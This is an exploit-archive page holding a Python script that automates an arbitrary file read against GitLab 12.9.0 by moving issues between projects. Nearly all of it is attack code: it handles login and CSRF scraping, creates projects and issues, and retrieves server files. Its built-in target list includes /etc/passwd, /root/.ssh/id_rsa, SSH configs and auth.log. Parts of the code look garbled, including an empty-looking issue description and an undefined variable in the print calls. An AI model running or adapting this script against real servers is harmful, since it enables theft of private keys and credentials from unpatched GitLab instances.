gitlab 12.9.0 arbitrary file read
▸▸▸ Exploit & Vulnerability >> webapps exploit & ruby vulnerability
# Exploit Title: GitLab 12.9.0 - Arbitrary File Read # Google Dork: - # Date: 2020-05-03 # Exploit Author: KouroshRZ # Vendor Homepage: https://about.gitlab.com # Software Link: https://about.gitlab.com/install # Version: tested on gitlab version 12.9.0 # Tested on: Ubuntu 18.04 (but it's OS independent) # CVE : - ##################################################################################################### # # # Copyright (c) 2020, William Bowling of Biteable, a.k.a vakzz # # All rights reserved. # # # # Redistribution and use in source and compiled forms, with or without modification, are permitted # # provided that the following conditions are met: # # # # * Redistributions of source code must retain the above copyright notice, this list of # # conditions and the following disclaimer. # # # # * Redistributions in compiled form must reproduce the above copyright notice, this list of # # conditions and the following disclaimer in the documentation and/or other materials provided # # with the distribution. # # # # * Neither the name of William Bowling nor the names of Biteable, a.k.a vakzz may be used to # # endorse or promote products derived from this software without specific prior written permission. # # # ##################################################################################################### # Exploit Title: automated exploit for Arbitrary file read via the UploadsRewriter when moving and issue in private gitlab server # Google Dork: - # Date: 05/03/2020 # Exploit Author: KouroshRZ # Vendor Homepage: https://about.gitlab.com # Software Link: https://about.gitlab.com/install # Version: tested on gitlab version 12.9.0 # Tested on: Ubuntu 18.04 (but it's OS independent) # CVE : - import requests import json from time import sleep # For debugging proxies = { 'http' : '127.0.0.1:8080', 'https' : '127.0.0.1:8080' } session = requests.Session() # config host = 'http[s]://<gitlab-address>' username = '<you-gitlab-username>' password = '<your-gitlab-password>' lastIssueUrl = "" def loginToGitLab(username, password): initLoginUrl = '{}/users/sign_in'.format(host) initLoginResult = session.get(initLoginUrl).text temp_index_csrf_param_start = initLoginResult.find("csrf-param") temp_index_csrf_param_end = initLoginResult.find("/>", temp_index_csrf_param_start) csrf_param = initLoginResult[temp_index_csrf_param_start + 21 : temp_index_csrf_param_end - 2] temp_index_csrf_token_start = initLoginResult.find("csrf-token") temp_index_csrf_token_end = initLoginResult.find("/>", temp_index_csrf_token_start) csrf_token = initLoginResult[temp_index_csrf_token_start + 21 : temp_index_csrf_token_end - 2] # print("Took csrf toke ----> " + csrf_param + " : " + csrf_token + "\n") submitLoginUrl = '{}/users/auth/ldapmain/callback'.format(host) submitLoginData = { 'utf8=' : '✓', csrf_param : csrf_token, 'username' : username, 'password' : password, } submitLoginResult = session.post(submitLoginUrl, submitLoginData, allow_redirects=False) if submitLoginResult.status_code == 302 and submitLoginResult.text.find('redirected') > -1: print("[+] You'e logged in ...") def createNewProject(projectName): initProjectUrl = '{}/projects/new'.format(host) initProjectResult = session.get(initProjectUrl).text temp_index_csrf_param_start = initProjectResult.find("csrf-param") temp_index_csrf_param_end = initProjectResult.find("/>", temp_index_csrf_param_start) csrf_param = initProjectResult[temp_index_csrf_param_start + 21 : temp_index_csrf_param_end - 2] temp_index_csrf_token_start = initProjectResult.find("csrf-token") temp_index_csrf_token_end = initProjectResult.find("/>", temp_index_csrf_token_start) csrf_token = initProjectResult[temp_index_csrf_token_start + 21 : temp_index_csrf_token_end - 2] # print("Took csrf toke ----> " + csrf_param + " : " + csrf_token + "\n") tmp_index_1 = initProjectResult.find('{}/{}/\n'.format(host, username)) tmp_index_2 = initProjectResult.find('value', tmp_index_1) tmp_index_3 = initProjectResult.find('type', tmp_index_2) namespace = initProjectResult[tmp_index_2 + 7 : tmp_index_3 - 2] createProjectUrl = '{}/projects'.format(host) createProjectData = { 'utf8=' : '✓', csrf_param : csrf_token, 'project[ci_cd_only]' : 'false', 'project[name]' : projectName, 'project[namespace_id]' : namespace, 'project[path]' : projectName, 'project[description]' : '', 'project[visibility_level]' : '0' } createProjectResult = session.post(createProjectUrl, createProjectData, allow_redirects=False) if createProjectResult.status_code == 302: print("[+] New Project {} created ...".format(projectName)) def createNewIssue(projectName, issueTitle, file): global lastIssueUrl initIssueUrl = '{}/{}/{}/-/issues/new'.format(host, username, projectName) initIssueResult = session.get(initIssueUrl).text temp_index_csrf_param_start = initIssueResult.find("csrf-param") temp_index_csrf_param_end = initIssueResult.find("/>", temp_index_csrf_param_start) csrf_param = initIssueResult[temp_index_csrf_param_start + 21 : temp_index_csrf_param_end - 2] temp_index_csrf_token_start = initIssueResult.find("csrf-token") temp_index_csrf_token_end = initIssueResult.find("/>", temp_index_csrf_token_start) csrf_token = initIssueResult[temp_index_csrf_token_start + 21 : temp_index_csrf_token_end - 2] # print("Took csrf toke ----> " + csrf_param + " : " + csrf_token + "\n") createIssueUrl = '{}/{}/{}/-/issues'.format(host , username, projectName) createIssueData = { 'utf8=' : '✓', csrf_param : csrf_token, 'issue[title]' : issueTitle, 'issue[description]' : ''.format(file), 'issue[confidential]' : '0', 'issue[assignee_ids][]' : '0', 'issue[label_ids][]' : '', 'issue[due_date]' : '', 'issue[lock_version]' : '0' } createIssueResult = session.post(createIssueUrl, createIssueData, allow_redirects=False) if createIssueResult.status_code == 302: print("[+] New issue for {} created ...".format(projectName)) tmp_index_1 = createIssueResult.text.find("href") tmp_index_2 = createIssueResult.text.find("redirected") lastIssueUrl = createIssueResult.text[tmp_index_1 + 6: tmp_index_2 - 2] print("[+] url of craeted issue : {}\n".format(lastIssueUrl)) def moveLastIssue(source, destination, file): # Get destination project ID getProjectIdUrl = '{}/{}/{}'.format(host, username, destination) getProjectIdResult = session.get(getProjectIdUrl).text tmpIndex = getProjectIdResult.find('/search?project_id') projectId = getProjectIdResult[tmpIndex + 19 : tmpIndex + 21] #print("Project : {} ID ----> {}\n".format(destination, projectId)) # Get CSRF token for moving issue # initIssueMoveUrl = '{}/{}/{}/-/issues/{}'.format(host, username, source, issue) initIssueMoveUrl = lastIssueUrl initIssueMoveResult = session.get(initIssueMoveUrl).text temp_index_csrf_token_start = initIssueMoveResult.find("csrf-token") temp_index_csrf_token_end = initIssueMoveResult.find("/>", temp_index_csrf_token_start) csrf_token = initIssueMoveResult[temp_index_csrf_token_start + 21 : temp_index_csrf_token_end - 2] # print("Took csrf toke ----> " + csrf_param + " : " + csrf_token + "\n") # Move issue with associated CSRF token # moveIssueUrl = "{}/{}/{}/-/issues/{}/move".format(host, username, source, issue) moveIssueUrl = lastIssueUrl + "/move" moveIssueData = json.dumps({ "move_to_project_id" : int(projectId) }) headers = { 'X-CSRF-Token' : csrf_token, 'X-Requested-With' : 'XMLHttpRequest', 'Content-Type' : 'application/json;charset=utf-8' } moveIssueResult = session.post(moveIssueUrl, headers = headers, data = moveIssueData, allow_redirects = False) if moveIssueResult.status_code == 500: print("[!] Permission denied for {}".format(file)) else: description = json.loads(moveIssueResult.text)["description"] tmp_index = description.find("/") fileUrl = "{}/{}/{}/{}".format(host, username, destination, description[tmp_index+1:-1]) print("[+] url of file {}: \n".format(f, fileUrl)) fileContentResult = session.get(fileUrl) if fileContentResult.status_code == 404: print("[-] No such file or directory : {}".format(f)) else: print("[+] Content of file {} read from server ...\n\n".format(f)) print(fileContentResult.text) print("\n****************************************************************************************\n") if __name__ == "__main__": loginToGitLab(username, password) createNewProject("project_01") createNewProject("project_02") # Put the files you want to read from server here # The files on server should have **4 or more permission (world readable files) files = { '/etc/passwd', '/etc/ssh/sshd_config', '/etc/ssh/ssh_config', '/root/.ssh/id_rsa', '/var/log/auth.log' # ... # ... # ... } for f in files: createNewIssue("project_01", "issue01_{}".format(f), f) moveLastIssue("project_01", "project_02",f) sleep(3)
Gitlab 12.9.0 arbitrary file read Vulnerability / Exploit Source : Gitlab 12.9.0 arbitrary file read